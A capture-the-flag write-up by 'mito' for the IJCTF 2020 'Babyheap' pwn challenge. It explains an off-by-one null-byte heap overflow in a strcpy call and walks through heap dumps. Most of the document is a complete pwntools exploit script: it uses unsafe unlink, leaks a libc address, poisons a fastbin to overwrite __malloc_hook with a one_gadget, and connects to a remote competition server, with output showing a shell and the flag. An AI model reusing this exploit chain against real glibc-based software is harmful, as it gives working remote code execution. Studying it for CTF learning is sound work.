Rating: 5.0

# Babyheap
by mito

## 27 solves, 620pt

* This is a heap challenge with an `off-by-one single byte null overflow` vulnerability.

* This challenge is similar to `RCTF 2018 babyheap`([https://ctftime.org/task/6116](https://ctftime.org/task/6116)).

* However, since it is copied to the heap with strcpy, it is different that multiple null bytes cannot be written at once.

* Therefore, writing to the heap multiple times writes NULL to the heap.

The code for the Create function is as follows.

```
unsigned __int64 create()
{
size_t nbytes; // [rsp+4h] [rbp-41Ch]
unsigned int v2; // [rsp+Ch] [rbp-414h]
char buf[1032]; // [rsp+10h] [rbp-410h]
unsigned __int64 v4; // [rsp+418h] [rbp-8h]

v4 = __readfsqword(0x28u);
v2 = 10;
for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) )
{
if ( !ptrs[HIDWORD(nbytes)] )
{
v2 = HIDWORD(nbytes);
break;
}
}
if ( v2 == 10 )
{
puts("no free slots\n");
}
else
{
printf("\nusing slot %u\n", v2);
printf("size: ");
__isoc99_scanf("%u", &nbytes);
if ( (unsigned int)nbytes <= 0x3FF )
{
printf("data: ");
LODWORD(nbytes) = read(0, buf, (unsigned int)nbytes);
buf[(unsigned int)nbytes] = 0;
ptrs[v2] = (const char *)malloc((unsigned int)nbytes);
strcpy((char *)ptrs[v2], buf);            <-- off-by-one single byte null overflow
puts("chunk created\n");
}
else
{
puts("maximum size exceeded\n");
}
}
return __readfsqword(0x28u) ^ v4;
}
```

The first heap state is as follows.

```
0x555555758180: 0x4343434343434343 0x4343434343434343
0x555555758190: 0x4343434343434343 0x4343434343434343
0x5555557581a0: 0x0000000000000000 0x0000000000000071
0x5555557581b0: 0x4444444444444444 0x4444444444444444
0x5555557581c0: 0x4444444444444444 0x4444444444444444
0x5555557581d0: 0x4444444444444444 0x4444444444444444
0x5555557581e0: 0x4444444444444444 0x4444444444444444
0x5555557581f0: 0x4444444444444444 0x4444444444444444
0x555555758200: 0x4444444444444444 0x4444444444444444
0x555555758210: 0x0000000000000000 0x0000000000000101 <-- here
0x555555758220: 0x4545454545454545 0x4545454545454545
0x555555758230: 0x4545454545454545 0x4545454545454545
```

Set prev_size = 0x200, PREV_INUSE = 0 by allocating the area as shown below.

```
Alloc(0x68, "G"*0x60+p64(0x200))
Free(0)
```

```
pwndbg> x/120gx 0x555555758000
0x555555758000: 0x0000000000000000 0x0000000000000000
0x555555758010: 0x0000000000000000 0x0000000000000091
0x555555758020: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- unsortedbin link
0x555555758030: 0x4141414141414141 0x4141414141414141
0x555555758040: 0x4141414141414141 0x4141414141414141
...
0x555555758180: 0x4343434343434343 0x4343434343434343
0x555555758190: 0x4343434343434343 0x4343434343434343
0x5555557581a0: 0x0000000000000000 0x0000000000000071
0x5555557581b0: 0x4747474747474747 0x4747474747474747
0x5555557581c0: 0x4747474747474747 0x4747474747474747
0x5555557581d0: 0x4747474747474747 0x4747474747474747
0x5555557581e0: 0x4747474747474747 0x4747474747474747
0x5555557581f0: 0x4747474747474747 0x4747474747474747
0x555555758200: 0x4747474747474747 0x4747474747474747
0x555555758210: 0x0000000000000200 0x0000000000000100 <-- prev_size = 0x200, PREV_INUSE = 0
0x555555758220: 0x4545454545454545 0x4545454545454545
0x555555758230: 0x4545454545454545 0x4545454545454545
```

* If we free No.4 chunk (0x555555758220) in the above state, we can perform an` unsafe unlink attack`.

* After this we can leak libc address and `fastbins unlink attack`.
```
Alloc(0x80, "H"*0x80)
Print(1)
Alloc(0xa0, "I"*0x88+p64(0x71)+p64(malloc_hook-0x23))
```

* We can enter the address of `malloc_hook-0x23` in 0x70 size fastbins.
```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x555555758130 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000 <-- here
0x80: 0x0
unsortedbin
all: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555758140 ◂— 0x7ffff7dd1b78
smallbins
empty
largebins
empty
```

* We can write NULL to the stack, so we can run one-gadget-RCE
```
Alloc(0x60, "J"*0x5f)
Alloc(0x60, "K"*0x13+p64(one_gadget)+"\x00"*0x40)
Alloc(0x10, "Start sh!")
```

Exploit code is below.

```
# local ubuntu 16.04
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './babyheap'
elf = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "35.186.153.116"
PORT = 7001
s = remote(HOST, PORT)
libc = ELF('libc6_2.23-0ubuntu10_amd64.so')
else:
s = process(BINARY)
libc = elf.libc

def Alloc(size, data):
s.sendlineafter("> ", "1")
s.sendlineafter("size: ", str(size))
s.sendlineafter("data: ", data)

def Free(index):
s.sendlineafter("> ", "2")
s.sendlineafter("idx: ", str(index))

def Print(index):
s.sendlineafter("> ", "3")
s.sendlineafter("idx: ", str(index))

Alloc(0x80, "A"*0x80)
Alloc(0x80, "B"*0x80)
Alloc(0x60, "C"*0x60)
Alloc(0x60, "D"*0x60)
Alloc(0xf0, "E"*0xf0)
Alloc(0x40, "F"*0x40)

# off-by-one single byte null overflow
# Alloc(0x68, "G"*0x60+p64(0x200))
for i in range(0x68, 0x62, -1):
Free(3)
Alloc(i, "G"*i)
Free(3)
Alloc(0x62, "G"*0x61+"\x02")
Free(3)
Alloc(0x60, "G"*0x60)

Free(0)
Free(4)

# libc leak
Alloc(0x80, "H"*0x80)
Print(1)

s.recvuntil("data: ")
r = s.recv(6)

libc_leak = u64(r+'\x00\x00')
libc_base = libc_leak - 0x3C4B78
malloc_hook = libc_base + libc.symbols['__malloc_hook']
one_gadget_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one_gadget_offset[2]
print "libc_leak =", hex(libc_leak)
print "libc_base =", hex(libc_base)
print "malloc_hook =", hex(malloc_hook)
print "one_gadget =", hex(one_gadget)

# fastbins unlink attack
# Alloc(0xa0, "I"*0x88+p64(0x71)+p64(malloc_hook-0x23))
Free(2)
Alloc(0xa0, "I"*0x90+p64(malloc_hook-0x23))
for i in range(0x8f, 0x88, -1):
Free(2)
Alloc(i, "I"*i)
Free(2)
Alloc(0x89, "I"*0x88+'\x71')

Alloc(0x60, "J"*0x5f)
Alloc(0x60, "K"*0x13+p64(one_gadget)+"\x00"*0x40)

# start sh
Alloc(0x10, "Start sh!")

s.interactive()

'''
$ python exploit.py r
[*] '/home/mito/CTF/IJCTF_2020/Pwn_Babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.186.153.116 on port 7001: Done
[*] '/home/mito/CTF/IJCTF_2020/Pwn_Babyheap/libc6_2.23-0ubuntu10_amd64.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc_leak = 0x7faccdd9bb78
libc_base = 0x7faccd9d7000
malloc_hook = 0x7faccdd9bb10
one_gadget = 0x7faccdac72a4
[*] Switching to interactive mode
$ ls -l
total 40
-rwxr-x--- 1 0 1000 12944 Apr 19 09:46 babyheap
drwxr-x--- 1 0 1000 4096 Apr 19 02:24 bin
drwxr-x--- 1 0 1000 4096 Apr 19 02:23 dev
-rwxr----- 1 0 1000 37 Apr 19 09:50 flag.txt
drwxr-x--- 1 0 1000 4096 Apr 19 02:23 lib
drwxr-x--- 1 0 1000 4096 Apr 19 02:23 lib32
drwxr-x--- 1 0 1000 4096 Apr 19 02:23 lib64
$ cat flag.txt
IJCTF{4_v3ry_v3ry_p00r_h34p0v3rfl0w}
'''
```